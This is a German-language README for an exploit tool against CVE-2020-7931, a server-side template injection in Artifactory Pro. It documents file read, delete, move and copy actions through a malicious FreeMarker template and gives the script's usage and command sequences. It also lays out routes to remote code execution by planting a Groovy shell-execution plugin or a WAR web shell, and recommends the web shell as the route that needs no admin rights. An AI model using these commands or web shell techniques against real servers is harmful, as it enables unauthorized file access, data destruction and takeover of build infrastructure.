
Hacking von Artifactory mit Server-seitiger Template-Injection
CVE-2020-7931 ist eine Art absichtliche Fehlkonfigurations-Schwachstelle in Artifactory, die es Angreifern ermöglicht, Server-seitige Template-Injection von einer FreeMarker-Vorlage aus durchzuführen.
Die Schwachstelle wurde von Ryan Hanson von Atredis entdeckt und Ende 2019 für alle betroffenen Versionen behoben. Sie funktioniert nur auf den Pro-Versionen von Artifactory, da andere Versionen keine Templating-Funktionen besitzen.
Dieses Repository enthält ein Skript und eine Vorlage.
Die Vorlage greift auf den ersten GET-Parameter zu, um die gewünschte Aktion zu bestimmen. Gültige Aktionen sind:
info Gibt Informationen über die aktuelle Konfiguration zurück
read <dateipfad> Liest eine Datei, wie sie ist
read_bytes <dateipfad> Liest eine Datei binär als Ganzzahlen
list <verzeichnispfad> Listet den Inhalt eines Verzeichnisses auf
create_file <dateipfad> Erstellt eine leere Datei
mkdir <verzeichnispfad> Erstellt einen Ordner
delete <dateipfad> Löscht eine Datei oder einen leeren Ordner
move <quelle> <ziel> Verschiebt eine Datei (*)
copy <quell_pfad> <quell_datei> <ziel> Kopiert eine Datei in das Web-Root der Anwendung. Achten Sie auf die eigenartigen Argumente (**)
(*): move verwendet die Java-renameTo-Methode, die dateisystemübergreifend nicht funktioniert. Um einen dateisystemübergreifenden Verschiebevorgang durchzuführen, muss zuerst kopiert und dann verschoben werden, weitere Informationen unten.
(**): Die Quelle muss in Basis-Pfad und Dateiname aufgeteilt werden; das Ziel ist relativ zum Webanwendungs-Root-Pfad von Artifactory, z.B. /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
Wie wir gesehen haben, funktioniert renameTo() nicht dateisystemübergreifend. Um dies zu emulieren, kopieren Sie zuerst die Datei und verschieben Sie sie dann (führen Sie dies sofort durch, sonst könnte Artifactory abstürzen!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): Wie zuvor erläutert, bezieht sich /bla hier tatsächlich auf /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla, da root.write() zwangsläufig in das aktuelle Web-Root der Anwendung schreibt.
Dies ermöglicht die Ausnutzung von Konfigurationen, die Artefakte auf einem separaten Dateisystem speichern (was eine vernünftige Praxis ist!).
Standardmäßig ist es bei einer Artifactory-Installation nicht möglich, Klassen zu instanziieren, daher funktioniert der übliche freemarker.template.utility.Execute-Trick nicht.
Es gibt mehrere andere Möglichkeiten, Remote-Code-Ausführung allein durch Manipulation des Dateisystems zu erreichen:
Hier ist ein Beispiel für ein Groovy-Plugin, das Shell-Ausführung durchführt, ausführlichere Beispiele hier:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Plugins müssen im Plugin-Pfad /var/opt/jfrog/artifactory/etc/plugins/ abgelegt und über einen API-Aufruf neu geladen werden, der Artifactory-Administratorrechte erfordert:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Hier ist ein Tomcat-Servlet, das eine Webshell implementiert.
WAR-Dateien müssen im Tomcat-webapps-Pfad /opt/jfrog/artifactory/tomcat/webapps/ abgelegt werden. Standardmäßig erfolgt die Bereitstellung von WAR-Dateien automatisch und startet eine weitere Webanwendung neben der Artifactory-Instanz, z.B. unter http://localhost:8081/sample/.
Dies ist die bevorzugte Methode, da sie keine Artifactory-Administratorrechte erfordert und es einfacher ist, Befehle spontan auszuführen.